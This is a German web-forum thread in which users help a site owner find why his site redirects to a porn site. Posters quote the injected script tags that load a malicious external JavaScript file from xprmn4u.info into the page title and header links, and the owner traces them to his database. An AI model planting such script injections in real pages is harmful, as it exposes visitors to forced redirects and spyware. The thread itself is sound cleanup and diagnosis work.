Seite gehackt

[tobasi]

Hallo

kann mir bitte jemand helfen
wenn ich meine Seite aufrufe werde ich auf die Seite hot-sextube.com weitergeleitet

kann mir bitte jemand helfen den fehler zu finden
Danke

der link zur meiner Seite
www.lose4kicktipp.de

 

[Sack]

Hast du vielleicht mal den Quelltext von der site?

Edit: Warnung: wenn man auf die seite kommt wird automatisch ein spyware Virus heruntergeladen! auch wenn man auf nichts klickt

 

[Kopfgeldjaeger]

Liegt wohl an dieser Zeile im Header:

<link rel="top" href="./index.php" title="<script src="https://xprmn4u.info/f.js"></script> Lose4kicktipp" />

edit: sowat ähnliches is da übrigens mehrmals drin...

 

[Sack]

hast du zufällig etwas mit der seite: https://xprmn4u.info/ zu tuen? sonst wird es wohl dieser teil im haeder sein:

<a href="index.php"><script src="https://xprmn4u.info/f.js"></script> Lose4kicktipp</a>

es könnte auch das:

<link rel="top" href="./index.php" title="<script src="https://xprmn4u.info/f.js"></script> Lose4kicktipp" />
<link rel="search" href="./search.php" title="Suchen" />

.
Ist glaub ich auch noch an ein Paar anderen stellen vorhanden. Musste einfach ma mit strg+f nach https://xprmn4u.info/ suchen.

 

[Fishbone22]

überprüf deine .js files und/oder die .htaccess files, falls du noch ftp zugang hast.

lg micha

 

[tobasi]

ftp zugang hab ich noch

hab auch alle dateien auf meiner festplatte und die meisten schon hochgeladen
den link https://xprmn4u.info/f.js konnte ich noch nicht finden

 

[Fishbone22]

also ich habe den javascipt code entschlüsselt und überprüft, kopiert und bei mir hochgeladen

www.boomax.de/test.php
^ Das ist der Code aus der Datei "https://xprmn4u.info/f.js"

ist definitiv der übeltäter! eine verschlüsselte weiterleitung


lg, fishbone22

 

[Sack]

den link https://xprmn4u.info/f.js konnte ich noch nicht finden

Das erste mal taucht der Link in der 9. Zeile auf.

 

[Biety]

hi, schau mal in deine index.php

Gruß Biety

 

[Sack]

ist definitiv der übeltäter! eine verschlüsselte weiterleitung

Er taucht an mehreren stellen auf, also musst du auf jedenfall gründlich suchen!
(ich empfehle strg+f)

 

[tobasi]

ja bin gerade dabei

ich lade jetzt die komplette seite hoch die auf meiner festplatte gespeichert war

 

[Biety]

<link rel="top" href="./index.php?sid=e0ac4439903be0b45acef809f23c6b05" title="<script src="https://xprmn4u.info/f.js"></script> Lose4kicktipp" />

<title><script src="https://xprmn4u.info/f.js"></script> :: Lose4kicktipp</title>

die 2 Zeilen sind für mich komisch

 

[Sack]

ja bin gerade dabei

ich lade jetzt die komplette seite hoch die auf meiner festplatte gespeichert war
https://www.uploadking.de/080915/5FAJlRWl.html
Ich weiß nicht ob ich einen fehler drin habe, aber eigentlich müsste so alles richtig sein.

Edit: du solltest auf jeden fall mal schauen wie das da reingekommen
ist, und dann wie du deine Seite sicherer machst.

 

[Querulant]

Sowas kommt in letzter Zeit häufiger vor, wurde auch in anderen Foren (u.a. ABAKUS) auch bemerkt das dort Seiten gehackt worden sind und sowas eingebaut worden ist...

Lg Andre

 

[tobasi]

hab den fehler gefunden

der link war in der Datenbank

danke an alle

 

[No5251]

Und wie kam er da rein? SQL-Injektion?
Kann es sein, dass Benutzereingaben nicht immer geprüft werden?

"Traue niemandem. Validiere allen Input oder stirb."


Edit: Für den armen Rotpopler, der das Zitat (und zwingend nötige
Sicherheitsvorkehrungen) wohl nicht kennt:
https://www.php-faq.de/q/q-sicherheit-parameter.html